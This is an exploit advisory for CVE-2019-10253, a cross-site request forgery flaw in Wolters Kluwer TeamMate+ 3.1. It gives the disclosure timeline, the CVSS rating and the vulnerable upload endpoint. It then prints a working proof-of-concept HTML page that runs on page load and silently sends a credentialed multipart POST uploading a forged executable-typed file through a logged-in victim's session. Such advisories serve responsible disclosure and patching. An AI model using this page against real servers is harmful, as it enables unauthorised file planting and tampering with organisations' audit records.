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# Exploit Title: Wolters Kluwer TeamMate+ – Cross-Site Request Forgery
(CSRF) vulnerability
# Date: 02/09/2019
# Exploit Author: Bhadresh Patel
# Version: <= TeamMate Version 3.1 (January 2019) (Internal Version:21.0.0.0)
# CVE : CVE-2019-10253
This is an article with PoC exploit code for for Wolters Kluwer TeamMate+ –
Cross-Site Request Forgery (CSRF) vulnerability
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Title:
====
Wolters Kluwer TeamMate+ – Cross-Site Request Forgery (CSRF) vulnerability
CVE:
====
CVE-2019-10253
Date:
====
02/09/2019 (dd/mm/yyyy)
Vendor:
======
Wolters Kluwer is a global leader in professional information, software
solutions, and services for the health, tax & accounting, finance, risk &
compliance, and legal sectors. We help our customers make critical
decisions every day by providing expert solutions that combine deep domain
knowledge with specialized technology and services.
Vendor link: http://www.teammatesolutions.com/about-us.aspx
Vulnerable Product:
==============
TeamMate+
TeamMate Global Audit Solutions, part of the Tax and Accounting Division of
Wolters Kluwer, helps professionals in all industries at organizations
around the world manage audit and compliance risks and business issues by
providing targeted, configurable, and efficient software solutions.
Solutions include TeamMate+ Audit, TeamMate+ Controls, and TeamMate
Analytics. Together, this ecosystem of solutions provides organizations
with the combined assurance they need to manage all aspects of risk
identification and assessment, electronic working paper creation and
management, controls framework management, and data analysis.
Abstract:
=======
Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an
attacker to upload malicious/forged files on TeamMate server or replace
existing uploaded files with malicious/forged files by enticing
authenticated user to visit attacker page.
Report-Timeline:
================
19/03/2019: Vendor notified
19/03/2019: Vendor responded requesting further information
20/03/2019: Further technical information with PoC was shared with vendor
01/07/2019: Vendor fixed the issue in version 3.2
Affected Software Version:
==========================
<= TeamMate January 2019 (Version 3.1) (Internal Version: 21.0.0.0)
Exploitation-Technique:
=======================
Remote
Severity Rating (CVSS):
=======================
4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
CVE ID:
=======
CVE-2019-10253
Details:
=======
A Cross-Site Request Forgery (CSRF) vulnerability is discovered in
TeamMate+ which allows a remote attacker to modify application data (upload
malicious/forged files on TeamMate server or replace existing uploaded
files with malicious/forged files) without victim's knowledge by enticing
authenticated user to visit attacker page/URL.
The specific flaw exists within the handling of request to
“DomainObjectDocumentUpload.ashx” application. An application failed to
validate CSRF token before handling the POST request.
Vulnerable module/page/application:
/TeamMate/Upload/DomainObjectDocumentUpload.ashx
PoC Exploit code:
----------------------------------------------------------------------------
<html>
<body onload="submitRequest()">
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx",
true);
xhr.setRequestHeader("Accept", "text/html, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=----WebKitFormBoundaryNA930lURoQYsoTOn");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"fileObjectId\"\r\n" +
"\r\n" +
"0\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"parentId\"\r\n" +
"\r\n" +
"1373\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"AssessmentId\"\r\n" +
"\r\n" +
"34\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"ProjectId\"\r\n" +
"\r\n" +
"1106\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"ParentNodeType\"\r\n" +
"\r\n" +
"50\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data;
name=\"DocumentParentObjectType\"\r\n" +
"\r\n" +
"90\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +
"Content-Disposition: form-data; name=\"files[]\";
filename=\"Report.txt\"\r\n" +
"Content-Type: application/x-msdownload\r\n" +
"\r\n" +
"MZP\r\n" +
"------WebKitFormBoundaryNA930lURoQYsoTOn--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
</body>
</html>
----------------------------------------------------------------------------
Credits:
=======
Bhadresh Patel
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